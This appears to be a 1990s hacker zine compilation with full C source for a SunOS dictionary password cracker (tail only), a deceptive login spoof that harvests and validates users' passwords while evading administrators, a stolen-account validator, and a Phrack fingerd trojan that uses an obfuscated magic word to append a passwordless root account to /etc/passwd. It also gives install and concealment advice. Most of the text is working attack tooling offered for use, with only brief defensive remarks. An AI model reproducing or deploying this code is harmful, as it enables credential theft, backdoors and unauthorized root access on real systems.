if ((isalnum(wd[i]) || (ispunct(wd[i]))) != NULL) { sprintf(temp, "%c", wd[i]);

strncat(buff, temp, 1);

}

} while(i != 0);

if (strlen(buff) > 1)

try_word(buff);

}

/* Read one word at a time from the specified dictionary for use

as possible passwords, if dictionary filename is NULL, ignore this operation */

void do_dict( void )

{

FILE *fp;

char buff[WORDSIZE], temp[2];

int c;

strcpy(buff, "");

strcpy(temp, "");

if (dict == NULL)

exit(0);

if ((fp = fopen(dict, "r")) == NULL) {

printf("Error opening dictionary file\n");

exit(0);

}

rewind(fp);

while ((c = fgetc(fp)) != EOF)

{

if ((c != ' ') || (c != '\n')) {

strcpy(temp, "");

sprintf(temp, "%c", c);

strncat(buff, temp, 1);

}

if (c == '\n') {

if (buff[0] != ' ')

try_word(buff);

strcpy(buff, "");

}

}

fclose(fp);

}

/* Process the word to be used as a password by stripping \n from

it if necessary, then use the pwdauth() function, with the login name and word to attempt to get a valid id & password */

void try_word( char pw[] )

{

int pwstat, i, pwlength;

char temp[2], buff[WORDSIZE];

strcpy(buff, "");

pwlength = strlen(pw);

for (i = 0; i != pwlength; i++)

{

if (pw[i] != '\n') {

strcpy(temp, "");

sprintf(temp, "%c", pw[i]);

strncat(buff, temp, 1);

}

}

if (strlen(buff) > 3 ) {

printf("Trying : %s\n", buff);

if (pwstat = pwdauth(logname, buff) == NULL) { printf("Valid Password! ‑ writing details to 'data'\n");

write_details(buff);

if (strcmp(mode, "f") == NULL)

exit(0);

}

}

}

/* If valid account & password, store this, along with the accounts

uid, gid, comment, homedir & shell in a file called 'data' */

void write_details( char *pw )

{

FILE *fp;

if ((fp = fopen(OUTFILE, "a")) == NULL) {

printf("Error opening output file\n");

exit(0);

}

fprintf(fp, "%s:%s:%d:%d:", logname, pw, uid, gid);

fprintf(fp, "%s:%s:%s\n", comment, homedir, shell);

fclose(fp);

}

‑‑‑cut here‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

again to compile it do :‑

$ gcc shcrack.c ‑o shcrack

or

$ acc shcrack.c ‑o shcrack

this can vary depending on your compiler.

The Ultimate Login Spoof

^^^^^^^^^^^^^^^

Well this subject has been covered many times before but its a while since I have seen a good one, and anyway I thought other unix spoofs have had two main problems :‑

1) They were pretty easy to detect when running

2) They recorded any only shit entered.....

Well now I feel these problems have been solved with the spoof below. Firstly, I want to say that no matter how many times spoofing is deemed as a 'lame' activity, I think it is very underestimated.

When writing this I have considered every possible feature such a program should have. The main ones are :‑

1) To validate the entered login i.d. by searching for it in the password file.

2) Once validated, to get all information about the account entered including ‑ real name etc from the comment field, homedir info (e.g. /homedir/miner) and the shell the account is using and store all this in a file.

3) To keep the spoofs tty idle time to 0, thus not to arouse the administrators suspicions.

4) To validates passwords before storing them, on all unshadowed unix systems & SUNOS shadowed/unshadowed systems.

5) To emulates the 'sync' dummy account, thus making it act like the real login program.

6) Disable all interrupts(CTRL‑Z, CTRL‑D, CTRL‑C), and automatically quit if it has not grabbed an account within a specified time.

7) To automatically detect & display the hostname before the login prompt e.g. 'ccu login:', this feature can be disabled if desired.

8) To run continuously until a valid i.d. & valid password are entered.

As well as the above features, I also added a few more to make the spoof 'foolproof'. At university, a lot of the users have been 'stung' by login spoofs in the past, and so have become very conscious about security.

For example, they now try and get around spoofs by entering any old crap when prompted for their login name, or to hit return a few times, to prevent any 'crappy' spoofs which may be running. This is where my spoof shines!, firstly if someone was to enter ‑

login: dhfhfhfhryr

Password:

into the spoof, it checks to see if the login i.d. entered is valid by searching for it in the password file. If it exists, the spoof then tries to validate the password. If both the i.d. & password are valid, these will be stored in a file called .data, along with additional information about the account taken directly from the password file.

Now if, as in the case above, either the login name or password is incorrect, the information is discarded, and the login spoof runs again, waiting for a valid user i.d. & password to be entered.

Also, a lot of systems these days have an unpassworded account called 'sync', which when logged onto, usually displays the date & time the sync account was last logged into, and from which server or tty, the message of the day, syncs the disk, and then logs you straight out.

A few people have decided that the best way to dodge login spoofs is to first login to this account then when they are automatically logged out, to login to their own account.

They do this firstly, so that if a spoof is running it only records the details of the sync account and secondly the spoof would not act as the normal unix login program would, and therefore they would spot it and report it, thus landing you in the shit with the system administrator.

However, I got around this problem so that when someone

tries to login as sync (or another account of a similar type, which you can define), it acts exactly like the normal login program would, right down to displaying the system date & time as well as the message of the day!!

The idle time facility

‑‑‑‑‑‑‑‑‑‑‑‑‑‑

One of the main problems with unix spoofs, is they can be spotted so easily by the administrator, as he/she could get a list of current users on the system and see that an account was logged on, and had been idle for maybe 30 minutes. They would then investigate & the spoof would be discovered.

I have therefore incorporated a scheme in the spoof whereby approx. every minute, the tty the spoof is executed from, is 'touched' with the current time, this effectively simulates terminal activity & keeps the terminals idle time to zero, which helps the spoofs chances of not being discovered greatly.

The spoof also incorporates a routine which will automatically keep track of approximately how long the spoof has been running, and if it has been running for a specified time without grabbing an i.d. or password, will automatically exit and run the real login program.

This timer is by default set to 12.5 minutes, but you can alter this time if you wish.

Note: Due to the varying processing power of some systems, I could not set the timer to exactly 60 seconds, I have therefore set it to 50, incase it loses or gains extra time. Take this into consideration when setting the spoofs timer to your own value. I recommend you stick with the default, and under no circumstances let it run for hours.

Password Validation techniques

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The spoof basically uses 2 methods of password validation(or none at all on a shadowed system V). Firstly, when the spoof is used on any unix with an unshadowed password file, it uses the crypt function to validate a password entered. If however the system is running SUNOS 4.1.+ and incorporates the shadow password system, the program uses a function called pwdauth(). This takes the login i.d. & decrypted password as its arguments and checks to see if both are valid by encrypting the password and comparing it to the shadowed password file which is usually located in /etc/security and accessible only by root. By validating both the i.d. & password we ensure that the data which is saved to file is correct and not any old bullshit typed at the terminal!!!

Executing the Spoof

‑‑‑‑‑‑‑‑‑‑‑‑

ok, now about the program. This is written in ANSI‑C, so I hope you have a compatible compiler, GCC or suns ACC should do it. Now the only time you will need to change to the code is in the following circumstances :‑

1) If you are to compile & run it on an unshadowed unix,

in which case remove all references to the pwdauth() function, from both the declarations & the shadow checking routine, add this code in place of the shadow password checking routine :‑

if ( shadow == 1 ) {

invalid = 0;

else

invalid = 1;

}

2) Add the above code also to the spoof if you are running this on a system V which is shadowed. In this case the spoof loses its ability to validate the password, to my knowledge there is no sysV equivalent of the pwdauth() function.

Everything else should be pretty much compatible. You should have no problems compiling & running this on an unshadowed SUNOS machine, if you do, make the necessary changes as above, but it compiled ok on every unshadowed SUNOS I tested it on. The Spoof should automatically detect whether a SUNOS system is shadowed or unshadowed and run the appropriate code to deal with each situation.

Note: when you have compiled this spoof, you MUST 'exec' it from the current shell for it to work, you must also only have one shell running. e.g. from C or Bourne shell using the GNU C Compiler do :‑

$ gcc spoof.c ‑o spoof

$ exec spoof

This replaces the current shell with the spoof, so when the spoof quits & runs the real login program, the hackers account is effectively logged off.

ok enough of the bullshit, here's the spoof :‑

‑‑‑‑‑‑‑‑‑‑cut here‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

/* Program : Unix login spoof

Author : The Shining/UPi (UK Division)

Date : Released 12/4/94

Unix Type : All unshadowed unix systems & shadowed SUNOS systems

Note : This file MUST be exec'd from the shell. */

#include <stdio.h>

#include <string.h>

#include <signal.h>

#include <pwd.h>

#include <time.h>

#include <utime.h>

#define OUTFILE ".data" /* Data file to save account info into */

#define LOGPATH "/usr/bin/login" /* Path of real login program */

#define DUMMYID "sync" /* Dummy account on your system */

#define DLENGTH 4 /* Length of dummy account name */

FILE *fp;

/* Set up variables to store system time & date */

time_t now;

static int time_out, time_on, no_message, loop_cnt;

/* Set up a structure to store users information */

struct loginfo {

char logname[10];

char key[9];

char *comment;

char *homedir;

char *shell;

} u;

/* Use the unix function getpass() to read user password and

crypt() or pwdauth() (remove it below if not SUNOS)

to validate it etc */

char *getpass(), *gethostname(), *alarm(), *sleep(), *crypt(), *ttyname(), *pwdauth(), motd, log_date[60], pass[14], salt[3], *tty, cons[] = " on console ", hname[72], *ld;

/* flag = exit status, ppid = pid shell, wait = pause length,

pwstat = holds 0 if valid password, shadow holds 1 if shadow password system is being used, 0 otherwise. */

int flag, ppid, wait, pwstat, shadow, invalid;

/* Declare main functions */

void write_details(struct loginfo *);

void catch( void ), disable_interrupts( void );

void log_out( void ), get_info( void ), invalid_login( void ), prep_str( char * );

/* set up pointer to point to pwfile structure, and also

a pointer to the utime() structure */

struct passwd *pwentry, *getpwnam();

struct utimbuf *times;

int main( void )

{

system("clear");

/* Initialise main program variables to 0, change 'loop_cnt' to 1

if you do not want the machines host name to appear with the login prompt! (e.g. prompt is `login:` instead of

'MIT login:' etc) */

wait = 3; /* Holds value for pause */

flag = 0; /* Spoof ends if value is 1 */

loop_cnt = 0; /* Change this to 1 if no host required */

time_out = 0; /* Stops timer if spoof has been used */

time_on = 0; /* Holds minutes spoof has been running */

disable_interrupts(); /* Call function to disable Interrupts */

/* Get system time & date and store in log_date, this is

displayed when someone logs in as 'sync' */

now = time(NULL);

strftime(log_date, 60, "Last Login: %a %h %d %H:%M:%S", localtime(&now)); strcat(log_date, cons);

ld = log_date;

/* Get Hostname and tty name */

gethostname(hname, 64);

strcat(hname, " login: ");

tty = ttyname();

/* main routine */

while( flag == 0 )

{

invalid = 0; /* Holds 1 if id +/or pw are invalid */

shadow = 0; /* 1 if shadow scheme is in operation */

no_message = 0; /* Flag for Login Incorrect msg */

alarm(50); /* set timer going */

get_info(); /* get user i.d. & password */

/* Check to see if the user i.d. entered is 'sync', if it is

display system time & date, display message of the day and then run the spoof again, insert the account of your

choice here, if its not sync, but remember to put

the length of the accounts name next to it! */

if (strncmp(u.logname, DUMMYID, DLENGTH) == NULL) { printf("%s\n", ld);

if ((fp = fopen("/etc/motd", "r")) != NULL) { while ((motd = getc(fp)) != EOF) putchar(motd);

fclose(fp);

}

printf("\n");

prep_str(u.logname);

no_message = 1;

sleep(wait);

}

/* Check if a valid user i.d. has been input, then check to see if

the password system is shadowed or unshadowed.

If both the user i.d. & password are valid, get additional info from the password file, and store all info in a file called .data, then exit spoof and run real login program */

setpwent(); /* Rewind pwfile to beign processing */

if ((pwentry = getpwnam(u.logname)) == (struct passwd *) NULL) { invalid = 1;

flag = 0;

}

else

strncpy(salt, pwentry‑>pw_passwd, 2);

/* Check for shadowed password system, in SUNOS, the field in /etc/passwd

should begin with '##', in system V it could contain an 'x', if none of these exist, it checks that the entry = 13 chars, if less then shadow system will probably be implemented (unless acct has been disabled) */

if ( invalid == 0 ) {

if ((strcmp(salt, "##")) || (strncmp(salt, "x", 1)) == NULL) shadow = 1;

else

if (strlen(pwentry‑>pw_passwd) < 13) shadow = 1;

/* If unshadowed, use the salt from the pwfile field & the key to

form the encrypted password which is checked against the entry in the password file, if it matches, then all is well, if not, spoof runs again!! */

if ( shadow != 1 ) {

if (strcmp(pwentry‑>pw_passwd, crypt(u.key, salt)) == NULL) invalid = 0;

else

invalid = 1;

}

/* If SUNOS Shadowing is in operation, use the pwdauth() function

to validate the password, if not SUNOS, substitute this code with the routine I gave earlier! */

if ( shadow == 1 ) {

if (pwstat = pwdauth(u.logname, u.key) == NULL) invalid = 0;

else

invalid = 1;

}

}

/* If we have a valid account & password, get user info from the

pwfile & store it */

if ( invalid == 0 ) {

u.comment = pwentry‑>pw_gecos;

u.homedir = pwentry‑>pw_dir;

u.shell = pwentry‑>pw_shell;

/* Open file to store user info */

if ((fp = fopen(OUTFILE, "a")) == NULL) log_out();

write_details(&u);

fclose(fp);

no_message = 1;

flag = 1;

}

else

flag = 0;

invalid_login();

endpwent(); /* Close pwfile */

if (no_message == 0)

loop_cnt++;

} /* end while */

log_out(); /* call real login program */

}

/* Function to read user i.d. & password */

void get_info( void )

{

char user[11];

unsigned int string_len;

fflush(stdin);

prep_str(u.logname);

prep_str(u.key);

strcpy(user, "\n");

/* Loop while some loser keeps hitting return when asked for user

i.d. and if someone hits CTRL‑D to break out of spoof. Enter a # at login to exit spoof. Uncomment the appropriate line(s) below to customise the spoof to look like your system */

while ((strcmp(user, "\n") == NULL) && (!feof(stdin)))

{

/* printf("Scorch Ltd SUNOS 4.1.3\n\n); */

if (loop_cnt > 0)

strcpy(hname, "login: ");

printf("%s", hname);

fgets(user, 9, stdin);

/* Back door for hacker, # at present, can be changed,

but leave \n in. */

if (strcmp(user, "#\n") == NULL)

exit(0);

/* Strip \n from login i.d. */

if (strlen(user) < 8)

string_len = strlen(user) ‑ 1;

else

string_len = strlen(user);

strncpy(u.logname, user, string_len);

/* check to see if CTRL‑D has occurred because it does not

generate an interrupt like CTRL‑C, but instead generates

an end‑of‑file on stdin */

if (feof(stdin)) {

clearerr(stdin);

printf("\n");

}

}

/* Turn off screen display & read users password */

strncpy(u.key, getpass("Password:"), 8);

}

/* Function to increment the timer which holds the amount of time

the spoof has been running */

void catch( void )

{

time_on++;

/* If spoof has been running for 15 minutes, and has not

been used, stop timer and call spoof exit routine */

if ( time_out == 0 ) {

if (time_on == 15) {

printf("\n");

alarm(0);

log_out();

}

}

/* 'Touch' your tty, effectively keeping terminal idle time to 0 */

utime(tty, times);

alarm(50);

}

/* Initialise a string with \0's */

void prep_str( char str[] )

{

int strl, cnt;

strl = strlen(str);

for (cnt = 0; cnt != strl; cnt++)

str[cnt] = ' ';

}

/* function to catch interrupts, CTRL‑C & CTRL‑Z etc as

well as the timer signals */

void disable_interrupts( void )

{

signal(SIGALRM, catch);

signal(SIGQUIT, SIG_IGN);

signal(SIGTERM, SIG_IGN);

signal(SIGINT, SIG_IGN);

signal(SIGTSTP, SIG_IGN);

}

/* Write the users i.d., password, personal information, homedir

and shell to a file */

void write_details(struct loginfo *sptr)

{

fprintf(fp, "%s:%s:", sptr‑>logname, sptr‑>key); fprintf(fp, "%d:%d:", pwentry‑>pw_uid, pwentry‑>pw_gid); fprintf(fp, "%s:%s:", sptr‑>comment, sptr‑>homedir); fprintf(fp, "%s\n", sptr‑>shell);

fprintf(fp, "\n");

}

/* Display login incorrect only if the user hasn't logged on as

'sync' */

void invalid_login( void )

{

if ( flag == 1 && pwstat == 0 )

sleep(wait);

if ( no_message == 0 )

printf("Login incorrect\n");

}

/* Displays appropriate message, exec's the real login program,

this replaces the spoof & effectively logs spoof's account off. Note: this spoof must be exec'd from the shell to work */

void log_out( void )

{

time_out = 1;

if ( no_message == 1 ) {

sleep(1);

printf("Login incorrect\n");

}

execl(LOGPATH, "login", (char *)0);

}

‑‑‑‑‑‑‑‑‑‑cut here‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

then delete the source, run it and wait for some sucker to login!. If you do initially run this spoof from your account, I suggest you remove it when you have grabbed someone's account and run it from theirs from then on, this reduces your chances of being caught!

User i.d. & Password Validator

^^^^^^^^^^^^^^^^^^

Now if you are familiar with the unix Crack program, as I'm sure most of you are ;‑), or if you have used my spoof to grab some accounts, this little program could be of some use. Say you have snagged quit a few accounts, and a few weeks later you wanna see if they are still alive, instead of logging onto them, then logging out again 20 or 30 times which can take time, and could get the system admin looking your way, this program will continuously ask you to enter a user i.d. & password, then validate them both by actually using the appropriate entry in the password file. All valid accounts are then stored along with other info from the password file, in a data file. The program loops around until you stop it.

This works on all unshadowed unix systems, and, you guessed it!, shadowed SUNOS systems.

If you run it on an unshadowed unix other than SUNOS, remove all references to pwdauth(), along with the shadow password file checking routine, if your on sysV, your shit outa luck! anyway, here goes :‑

‑‑‑cut here‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

/* Program : To validate accounts & passwords on both

shadowed & unshadowed unix systems.

Author : The Shining/UPi (UK Division)

Date : Released 12/4/94

UNIX type : All unshadowed systems, and SUNOS shadowed systems */

#include <stdio.h>

#include <string.h>

#include <pwd.h>

FILE *fp;

int pw_system( void ), shadowed( void ), unshadowed( void );

void write_info( void ), display_notice( void );

struct passwd *pwentry, *getpwnam();

struct user {

char logname[10];

char key[9];

char salt[3];

} u;

char *getpass(), *pwdauth(), *crypt(), ans[2];

int invalid_user, stat;

int main( void )

{

strcpy(ans, "y");

while (strcmp(ans, "y") == NULL)

{

invalid_user = stat = 0;

display_notice();

printf("Enter login id:");

scanf("%9s", u.logname);

strcpy(u.key, getpass("Password:"));

setpwent();

if ((pwentry = getpwnam(u.logname)) == (struct passwd *) NULL) invalid_user = 1;

else

strncpy(u.salt, pwentry‑>pw_passwd, 2);

if (invalid_user != 1) {

if ((stat = pw_system()) == 1) {

if ((stat = unshadowed()) == NULL) { printf("Unshadowed valid account! ‑ storing details\n"); write_info();

}

}

else

if ((stat = shadowed()) == NULL) {

printf("SUNOS Shadowed valid account! ‑ storing details\n"); write_info();

}

else

invalid_user = 2;

}

if (invalid_user == 1)

printf("User unknown/not found in password file\n");

if (invalid_user == 2 )

printf("Password invalid\n");

printf("\n\nValidate another account?(y/n): "); scanf("%1s", ans);

endpwent();

}

}

/* Check to see if shadow password system is used, in SUNOS the field

in /etc/passwd starts with a '#', if not, check to see if entry is 13 chars, if not shadow must be in use. */

int pw_system( void )

{

if (strlen(pwentry‑>pw_passwd) != 13)

return(0);

else

if (strcmp(u.salt, "##") == NULL)

return(0);

else

return(1);

}

/* If system is unshadowed, get the 2 character salt from the password

file, and use this to encrypt the password entered. This is then compared against the password file entry. */

int unshadowed( void )

{

if (pwentry‑>pw_passwd == crypt(u.key, u.salt))

return(0);

else

return(1);

}

/* If SUNOS shadowe system is used, use the pwdauth() function to validate

the password stored in the /etc/security/passwd.adjunct file */

int shadowed( void )

{

int pwstat;

if (pwstat = pwdauth(u.logname, u.key) == NULL)

return(0);

else

return(1);

}

/* Praise myself!!!! */

void display_notice( void )

{

system("clear");

printf("Unix Account login id & password validator.\n"); printf("For all unshadowed UNIX systems & shadowed SUNOS only.\n\n"); printf("(c)1994 The Shining\n\n\n\n");

}

/* Open a file called 'data' and store account i.d. & password along with

other information retrieved from the password file */

void write_info( void )

{

/* Open a file & store account information from pwfile in it */

if ((fp = fopen("data", "a")) == NULL) {

printf("error opening output file\n");

exit(0);

}

fprintf(fp, "%s:%s:%d:", u.logname, u.key, pwentry‑>pw_uid); fprintf(fp, "%d:%s:", pwentry‑>pw_gid, pwentry‑>pw_gecos); fprintf(fp, "%s:%s\n", pwentry‑>pw_dir, pwentry‑>pw_shell); fclose(fp);

}

‑‑‑‑‑cut here‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The above programs will not compile under non‑ansi C compilers without quite a bit of modification. I have tested all these programs on SUNOS both shadowed & unshadowed, though they should work on other systems with little modification (except the shadow password cracker, which is SUNOS shadow system specific).

Regards to the following guys :‑

Archbishop & The Lost Avenger/UPi, RamRaider/QTX,

the guys at United International Perverts(yo Dirty Mac & Jasper!) and all I know.

(c) 1994 The Shining (The NORTH!, U.K.)

The fingerd Trojan Horse

==Phrack Magazine==

Volume Five, Issue Forty‑Six, File 12 of 28

****************************************

The fingerd trojan horse

Original article by Hitman Italy for Phrack Inc.

This article is for informational purpose only, I'm not liable for any damage or illegal activity perpetrated using the source or the informations in the article.

‑=‑ + ‑

So you have gained access to a system and want to keep on hacking without being kicked off by a smart operator, there are dozen methods you can use, usually, if an operator figure out that his system is under attack, he'll check out the login program and telnetd for backdoors, then the telnet for logging activities or network sniffers and so on.. if nothing is found he'll realize the hacker is a dumb ass and he'll just modify the passwd to prevent him from logging on (in most cases), here comes my fingerd trojan. This scheme is quite original (I've never seen it used) and the source is compact enough to be fitted into a MAG. The fingerd as all you know (I hope) is the finger server run by inetd when a client opens the finger port (N.79), of course if the port is locked, or you have a network firewall, do not use this code.

‑‑‑‑‑‑‑‑‑‑ + CUT HERE + ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

/* The Fingerd trojan by Hitman Italy

* This source cannot be spread without the whole article

* but you can freely implement or modify it for personal use */

static char copyright[] = ""; /* Add the copyright string here */

static char sccsid[] = ""; /* Add the sccsid string here */

#include <stdio.h>

#define PATH_FINGER "/usr/ucb/finger"

#define CODE 161

char *HitCrypt(ch)

char *ch;

{

char *b;

b=ch;

while ((*(ch++)^=CODE)!=0x00);

return(b);

}

main(argc,argv)

int argc;

char *argv[];

{

register FILE *fp;

register int ch;

register char *lp;

int p[2];

static char exor[4][23]={

{201,200,213,CODE}, {142,196,213,194,142,209,192,210,210,214,197,CODE}, {201,200,213,155,155,145,155,145,155,155,142,155,142,195,200,207,142,194, 210,201,CODE}, {227,192,194,202,197,206,206,211,129,192,194,213,200,215,192,213,196,197, 143,143,143,CODE} };

#define ENTRIES 50

char **ap, *av[ENTRIES + 1], line[1024], *strtok();

#ifdef LOGGING /* unused, leave it for "strings" command */

#include <netinet/in.h>

struct sockaddr_in sin;

int sval;

sval = sizeof(sin);

if (getpeername(0, &sin, &sval) < 0) fatal(argv[0],"getpeername");

#endif

if (!fgets(line, sizeof(line), stdin))

exit(1);

av[0] = "finger";

for (lp = line, ap = &av[1];;) {

*ap = strtok(lp, " \t\r\n");

if (!*ap)

break;

if ((*ap)[0] == '/' && ((*ap)[1] == 'W' || (*ap)[1] == 'w')) *ap = "‑l";

if (++ap == av + ENTRIES)

break;

lp = NULL;

}

if (pipe(p) < 0)

fatal(argv[0],"pipe");

switch(fork()) {

case 0:

(void)close(p[0]);

if (p[1] != 1) {

(void)dup2(p[1], 1);

(void)close(p[1]);

}

/*‑=‑=‑=‑=‑=‑ PUT HERE YOUR CODE ‑=‑=‑=‑=‑=‑*/

if (av[1])

if (strcmp( (HitCrypt(&exor[0][0])) ,av[1])==0) { if(!(fp=fopen( (HitCrypt(&exor[1][0])) ,"a"))) _exit(10);

fprintf(fp,"%s\n", HitCrypt(&exor[2][0])); printf("%s\n", HitCrypt(&exor[3][0])); fclose(fp);

break;

}

/*‑=‑=‑=‑=‑=‑ END OF CUSTOM CODE =‑=‑=‑=‑=‑=‑*/

if (execv(PATH_FINGER, av)==‑1) fprintf(stderr,"No local finger program found\n"); _exit(1);

case ‑1:

fatal(argv[0],"fork");

}

(void)close(p[1]);

if (!(fp = fdopen(p[0], "r"))) fatal(argv[0],"fdopen");

while ((ch = getc(fp)) != EOF) {

putchar(ch);

}

exit(0);

}

fatal(prg,msg)

char *prg,*msg;

{

fprintf(stderr, "%s: ", prg);

perror(msg);

exit(1);

}

‑‑‑‑‑‑‑‑‑ + CUT HERE + ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I think it's quite easy to understand, first of all, inetd opens the socket and pipes the the input data through the fingerd

* if (!fgets(line, sizeof(line), stdin))

* exit(1);

* av[0] = "finger";

* for (lp = line, ap = &av[1];;) {

* *ap = strtok(lp, " \t\r\n");

* if (!*ap)

* break;

* if ((*ap)[0] == '/' && ((*ap)[1] == 'W' || (*ap)[1] == 'w')) * *ap = "‑l";

here it gets the data from stdin and parses them (strtok) converting (due to RFC742) any '/W' or '/w' old options in '‑l'

* switch(fork()) {

* case 0:

* (void)close(p[0]);

* if (p[1] != 1) {

* (void)dup2(p[1], 1);

* (void)close(p[1]);

* }

the task goes into the background

* if (execv(PATH_FINGER, av)==‑1)

* fprintf(stderr,"No local finger program found\n");

here the daemon executes the local finger with remote parameters

* (void)close(p[1]);

* if (!(fp = fdopen(p[0], "r")))

* fatal(argv[0],"fdopen");

* while ((ch = getc(fp)) != EOF) {

* putchar(ch);

the output is piped back to the remote system

That's how the finger daemon works... now the trojan, basically we'll check out the input finger user till the magic code matches, then our sleepin' trojan will wake up and do the job... let's examine my code (decrypted)

/*‑=‑=‑=‑=‑=‑ PUT HERE YOUR CODE ‑=‑=‑=‑=‑=‑*/

if (av[1])

if (strcmp("hit",av[1])==0) { if(!(fp=fopen("/etc/passwd","a")))

_exit(10); fprintf(fp,"hit::0:0::/:/bin/csh\n"); printf("Backdoor activated...\n");

fclose(fp);

break;

}

/*‑=‑=‑=‑=‑=‑ END OF CUSTOM CODE =‑=‑=‑=‑=‑=‑*/

When the "hit" magic code matches the trojan will modify the passwd adding a fake unpassworded root user named "hit", so you can relogin as root, cover your tracks and keep on working. Of course this is an example, you can do what you want simply adding your custom code, you may remote cat a log file without logging in, or remote kill an user, maybe root logins are disabled so you have to make a suid shell and add a normal entry in the passwd or open a port and so on, you can also use multiple codes if you like. If the magic word doesn't match of course the finger will work out normally.

<example>

# finger hit@666.666.666.666

[666.666.666.666]

Backdoor activated...

Well done! You have gained a root access.

(...)

# cat /etc/passwd

root:EXAMPLE PASSWORD:0:1:Operator:/:/bin/csh nobody:*:65534:65534::/:

daemon:*:1:1::/:

sys:*:2:2::/:/bin/csh

bin:*:3:3::/bin:

uucp:*:4:8::/var/spool/uucppublic: news:*:6:6::/var/spool/news:/bin/csh ingres:*:7:7::/usr/ingres:/bin/csh audit:*:9:9::/etc/security/audit:/bin/csh sync::1:1::/:/bin/sync

ftp:*:995:995:Anonymous FTP account:/home/ftp:/bin/csh +::0:0:::

hit::0:0::/:/bin/csh

^^^ they run NIS... anyway our local root login will work fine

<example>

#finger hit@hacked.system.com

[hacked.system.com]

here is the log

user: xit001 from: hell.com ip: 666.666.666.666 has pw: xit001 user: yit001 from: (...)

That's really useful to collect logfiles without logging in and leave tracks everywhere.

Now the problem....

If you want to use the fingerd to run world accessible commands you won't have any problem but if you require root privileges check this out:

#grep fingerd /etc/inetd.conf

finger stream tcp nowait nobody /usr/etc/in.fingerd in.fingerd

^^^^^^

On SunOs 4.x.x the fingerd runs as nobody, the fake user (used with NFS etc..), as nobody of course you cannot modify the passwd, so edit the file

finger stream tcp nowait root /usr/etc/in.fingerd in.fingerd

now you have to refesh the inetd process

#kill ‑HUP <inetd pid>

now you can do what you want, many unix clones let the fingerd running as root by default... and even if you have to modify the inetd.conf an operator unlikely will realize what is appening since all other daemons run as root.

Why have I crypted all data?

#strings login

(...)

Yeah d00dz! That's a //\/\eg/+\Backd0[+]r by MASTER(...) of MEGA(...)

Lame or not? All alien data must be crypted.. a fast exor crypting routine will work fine, of course you can use the standard crypt function or other (slow) algorithms but since security is not important (we just want to make our texts invisible) I suggest using my fast algo,to create the exor matrix simply put all texts on a file and use the little ExorCrypt utility I have included UUencoded below (amiga/msdos version).

<example amiga>

echo > test "this is a test"

Acrypt test test.o

line crypted: 1

type test.o

static char exor[]={ 213,201,200,210,129,200,210,129,192,129,213,196,210,213,161};

char *ExorCrypt(ch)

char *ch;

{

char *b;

b=ch;

while ((*(ch++)^=0xa1)!=0x00);

return(b);

}

The utility will create the exor vector (matrix) (from the 80 column formatted ascii input text) and the specific decoding function, If you do not supply a key "$a1" will be used, remember to add a NewLine if necessary, the vector/matrix never contain them.

Before compiling the whole thing you must add the copyright and sccsid strings I have not included (they may vary).

Let's simply do: (SunOs)

#strings /usr/etc/in.fingerd

@(#) Copyright (c) 1983 Regents of the University of California. All rights reserved. ^^^^ COPYRIGHT STRING @(#)in.fingerd.c 1.6 88/11/28 SMI <<<< SCCSID STRING getpeername

finger

pipe

/usr/ucb/finger

No local finger program found

fork

fdopen

%s:

(((((

DDDDDDDDDD

AAAAAA

BBBBBB

The top of source becomes:

static char copyright[]=

"@(#) Copyright (c) 1983 Regents of the University of California.\n\ All rights reserverd.\n";

static char sccsid[]="@(#)in.fingerd.c 1.6 88/11/28 SMI"

That's all. Now you can compile and install your fingerd trojan, the source was adapted for SunOS but you can port it on many unix clones without troubles.

Few final words to:

Operators: How to defeat this trojan? First of all check the inetd.conf, then do VARIOUS fingerd checksums (maybe even the "sum" command is a trojan :) if you discover the trojan wrap the finger port so you can track down the hacker (usually all wtmp/lastlog logs are removed) or wrap everything modifying the daemons, do NOT use the inetd.conf_jump_new_daemon scheme, if you can, add a fingerd tripwire entry to prevent future installations. Well... if the hacker is a good one everything is useless.

Beginners: You must be root to install the trojan, remember to get a copy of the original fingerd program before installing the fake version.

On a Sun do:

#cc ‑o in.fingerd trojan.c

#mv /usr/etc/in.fingerd fingerd.old

#mv in.fingerd /usr/etc

remember to check the /etc/inetd.conf

‑=‑ + ‑

To get in touch with me send E‑Mail to:

Internet: hit@bix.com X.25: QSD Nua (0)208057040540

Mbx: Hitman_Italy

if you want, use my PGP key

‑‑‑‑‑BEGIN PGP PUBLIC KEY BLOCK‑‑‑‑‑

Version: 2.3a.2

mQCNAiypAuIAAAEEALVTvHLl4zthwydN+3oydNj7woyoKBpi1wBYnKJ4OGFa/KT3 faERV90ifxTS73Ec9pYhS/GSIRUVuOGwahx2UD0HIDgXnoceRamhE1/A9FySImJe KMc85+nvDuZ0THMbx/W+DDHJMR1Rp2nBzVPMGEjixon02nE/5xrNm/sb/cUdAAUR tBpIaXRtYW4gSXRhbHkgPGhpdEBiaXguY29tPg==

=bCu4

‑‑‑‑‑END PGP PUBLIC KEY BLOCK‑‑‑‑‑

ExorCrypt Amiga version:

‑=) S.Encode v2.5 (=‑

begin 777 Acrypt.lha

